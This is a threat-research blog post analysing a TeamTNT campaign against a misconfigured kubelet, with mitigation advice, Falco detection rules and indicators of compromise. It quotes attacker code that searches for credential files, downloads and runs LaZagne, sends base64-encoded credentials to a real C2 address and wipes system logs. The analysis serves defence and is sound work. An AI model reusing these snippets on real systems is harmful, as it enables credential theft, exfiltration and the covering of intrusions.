Threat news: TeamTNT targeting misconfigured kubelet

TeamTNT is a prevalent threat actor who has been targeting cloud and virtual environments such as Kubernetes and Docker since at least late 2019. This threat actor is financially motivated, focusing their efforts on stealing credentials and cryptomining. In 2020, we analyzed their use of Weave Scope on an unsecured Docker API endpoint exposed to the internet. In December 2021, we attributed an attack to TeamTNT in which they targeted a vulnerable WordPress pod to steal AWS credentials.

In September 2022 we published our first annual cloud-native threat report. Alongside other hot topics from the year, we shared our in-depth analysis of the TeamTNT organization and infrastructure, their operations, and their impact on victims. You can read our findings here.

TeamTNT exploit misconfigured kubelet Kubernetes

In this blog, we will share the impact of another widespread TeamTNT campaign we recently uncovered exploiting misconfigured kubelet service in Kubernetes clusters. We will explain which misconfiguration was exploited by the attacker, which execution they ran, and how to detect it.

What is Kubelet?

Kubelet is the process that runs on each Kubernetes node and is in charge of managing Kubernetes pods.

Whenever a new pod is scheduled on a node, the kubelet receives the specifications from the kube-apiserver and instructs the container runtime to spawn up the container that satisfies those specifications. At this point the container runtime, like containerd or cri-o, starts the requested container.

With that being said, it is important to stress that kubelet is not a container, but a node agent directly installed and running into the machine and listening on port 10250. This port is usually open only within the Kubernetes cluster and some authentication and authorization mechanisms are generally enforced to communicate with it.

However, we misconfigured the kubelet agent in one of our honeypot clusters and TeamTNT was able to gain access into a pod, download binaries, and launch malicious executions.

Anatomy of the misconfigured kubelet attack

The attack that we attributed to TeamTNT in December 2021 was very simple: it downloaded and ran a bash script to steal AWS credentials and exfiltrate them to a known TeamTNT C2 server. The one we detected, in this case, has the same main goal, stealing credentials, but it is a bit more complex and refined.

Once the TeamTNT exploited the kubelet misconfiguration and got access into one of the running pods, they installed the required packages and downloaded the following binaries.

The Sysdig Threat Research Team analyzed the flow in which the malicious binaries were downloaded into the victim pod.

The first payload (.x1mr) set the stage for the initial access into the pod. This script downloaded the other binaries, changing their permissions and launching them.

At this point, the container was infected with what we believe could be tsunami malware (ptyw64), running in background and spawning a backdoor that opened communication with a remote machine.

Instead, the kill_miner bash script was executed to discover processes running on the system in order to stop cryptocurrency miners and leave the work to the other scripts.

Moreover, many other scripts were executed with the goal of stealing credentials and sending them to the C2 server:

aws2.sh is a refined version of the script we analyzed in December 2021. It searches for AWS related credentials in files, process environment variables, metadata endpoint, and Docker container layers.
creds.sh is also similar, but it also looks for filenames that can store other sensitive credentials.

CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \
"access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \
".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env")
…
for CREFILE in ${CRED_FILE_NAMES[@]}; do # echo "searching for $CREFILE"
find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> $EDIS 
… 
Code language: JavaScript (javascript)

script.sh downloads and executes a customized and light version of the open source tool Lazagne. It was used to search and discover passwords stored on the machine.

… wget http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz tar xvf /tmp/.laz/LaZagne.tar.gz 2>/dev/null 1>/dev/null  rm -f /tmp/.laz/LaZagne.tar.gz  2>/dev/null 1>/dev/null  pip3 install -r /tmp/.laz/LaZagne/requirements.txt 2>/dev/null 1>/dev/null  rm -f /tmp/.laz/LaZagne/requirements.txt /tmp/.laz/LaZagne/README.md cd /tmp/.laz/LaZagne/Linux/ python3 laZagne.py all -oN BASE64DATA=$(cat /tmp/.laz/LaZagne/Linux/credentials.txt | base64 -w 0) … Code language: JavaScript (javascript)

Once collected, the discovered credentials were encoded in base64 and exfiltrated over network to a known TeamTNT C2 server.

send_aws_data(){     SEND_B64_DATA=$(cat $CSOF | base64 -w 0)     rm -f $CSOF     dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA  #2>/dev/null     dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA  #2>/dev/null } Code language: JavaScript (javascript)

Last but not least, the malicious actor tried to erase its traces, removing the retrieved credentials and the command history to remove evidence of their presence or hinder defenses.

… notraces(){ chattr -i $LOCK_FILE 2>/dev/null 1>/dev/null rm -f $LOCK_FILE 2>/dev/null 1>/dev/null rm -f /var/log/syslog.* 2>/dev/null 1>/dev/null rm -f /var/log/auth.log.* 2>/dev/null 1>/dev/null lastlog --clear --user root 2>/dev/null 1>/dev/null lastlog --clear --user $USER 2>/dev/null 1>/dev/null echo > /var/log/wtmp 2>/dev/null echo > /var/log/btmp 2>/dev/null echo > /var/log/lastlog 2>/dev/null echo > /var/log/syslog 2>/dev/null echo > /var/log/auth.log 2>/dev/null rm -f ~/.bash_history 2>/dev/null 1>/dev/null touch ~/.bash_history 2>/dev/null 1>/dev/null chattr +i ~/.bash_history 2>/dev/null 1>/dev/null history -cw clear } … Code language: JavaScript (javascript)

Mitigation

What’s the moral of the story?

First, you should never expose or allow anonymous requests to your kubelet service. It is an unnecessary risk and can compromise the containers you run in your environment. Moreover, if one of your containers is also a privileged one, that grants threat actors direct access to the Kubernetes node.

Second, never store your passwords, credentials, or secrets in your pods or machines. If they were breached, your secrets would be at risk, granting uncontrolled access to your resources.

Third, if possible, adopt the safest measures you can in order to secure your environment. For example, in AWS you can create your instances by choosing IMDSv2 instead of IMDSv1 to reach the metadata endpoint.

Detection

To detect at runtime some of the malicious techniques engaged by TeamTNT, you can use Falco.

Falco is a CNCF incubating project that can help in the detection of anomalous activities in cloud native environments, sending alerts at runtime. In order to do this, use the default Falco rules or create more specific ones leveraging its easy and flexible language.

You can receive Falco alerts whenever suspicious executions such as these are detected.

- macro: private_aws_credentials
  condition: >
    (proc.args icontains "aws_access_key_id" or
    proc.args icontains "aws_secret_access_key" or
    proc.args icontains "aws_session_token" or
    proc.args icontains "accesskeyid" or
    proc.args icontains "secretaccesskey")



- rule: Find AWS Credentials
  desc: Find or grep AWS credentials
  condition: >
    spawned_process and
    ((grep_commands and private_aws_credentials) or
    (proc.name = "find" and proc.args endswith ".aws/credentials"))
  output: Search AWS credentials activities found (user.name=%user.name user.loginuid=%user.loginuid proc.cmdline=%proc.cmdline container.id=%container.id container_name=%container.name evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [mitre_credential_access, process, aws]


- macro: private_key_or_password
  condition: >
    (proc.args icontains "BEGIN PRIVATE" or
     proc.args icontains "BEGIN RSA PRIVATE" or
     proc.args icontains "BEGIN DSA PRIVATE" or
     proc.args icontains "BEGIN EC PRIVATE" or
     (grep_more and
      (proc.args icontains " pass " or
       proc.args icontains " ssh " or
       proc.args icontains " user "))
    )


- rule: Search Private Keys or Passwords
  desc: >
    Detect grep private keys or passwords activity.
  condition: >
    (spawned_process and
     ((grep_commands and private_key_or_password) or
      (proc.name = "find" and (proc.args contains "id_rsa" or proc.args contains "id_dsa")))
    )
  output: >
    Grep private keys or passwords activities found
    (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority:  WARNING
  tags: [process, mitre_credential_access]


- rule: System procs network activity
  desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
  condition: >
    (fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
    and (inbound_outbound)
    and not proc.name in (known_system_procs_network_activity_binaries)
    and not login_doing_dns_lookup
    and not user_expected_system_procs_network_activity_conditions
  output: >
    Known system binary sent/received network traffic
    (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)
  priority: NOTICE
  tags: [network, mitre_exfiltration]


- rule: Contact EC2 Instance Metadata Service From Container
  desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
  condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
  output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, aws, container, mitre_discovery]


- rule: Contact cloud metadata service from container
  desc: Detect attempts to contact the Cloud Instance Metadata Service from a container
  condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
  output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, container, mitre_discovery]

Code language: JavaScript (javascript)

If you want to know more about these rules, you can check the full rule descriptions on GitHub.

Summary of indicators of compromise (IoC)

For additional IoCs associated with this campaign, please visit our GitHub page.

IPs & URLs

84.201.153.234
134.209.248.91
http://134.209.248.91/wp-content/themes/twentyseventeen/ptyw64
http://134.209.248.91/wp-content/themes/twentyseventeen/kill_miner
http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz
http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh
http://84.201.153.234/wp-content/themes/twentyseventeen/.b/script.sh
http://84.201.153.234/wp-content/themes/twentyseventeen/.b/creds.sh
http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php

MD5

.x1mr: bb003f12a18d1e8671fa631814d3b306
ptyw64: 14a348ca4ca77bee9d6e5523b5fca0a5
kill_miner: 399a6b8bf8ae2f455f71f4c455bbd069
aws2.sh: 6eb1c1b3acbb0a71013826d512b3ebb6
creds.sh: 26986f94582fa3e035aa7a1ab71de84a
script.sh: f7eed3fd39095f9ed29a83bc4a4fe689
LaZagne.tar.gz: 04ae78c8b130f152d1f5959a54bcff72

Filenames

.x1mr
ptyw64
kill_miner
aws2.sh
creds.sh
script.sh
LaZagne.tar.gz

Conclusion

As we previously discovered, TeamTNT is still looking for sensitive credentials. However, this new campaign showed us that their focus is no longer only on AWS. Furthermore, other sensitive credentials related to things such as GitHub or SSH keys are also monitored by TeamTNT. With these, they can gain access to sensitive platforms and attempt lateral movement.

These new incidents reconfirm that malicious actors are continuously adopting new attack strategies and evolving their techniques to evade detection. In this case, we analyzed TeamTNT targeting a Kubernetes cluster and searching for sensitive data into the victim container. This can sometimes also lead to lateral movement and privilege escalation attempts.

As a reminder, you can use our powerful runtime security tool, Falco, to detect the suspicious activities that this campaign may trigger. And finally, you should always enforce the best security practices in your environment. Do not expose your kubelet daemon to the public network with anonymous authentication enabled and do not store your credentials in the filesystem!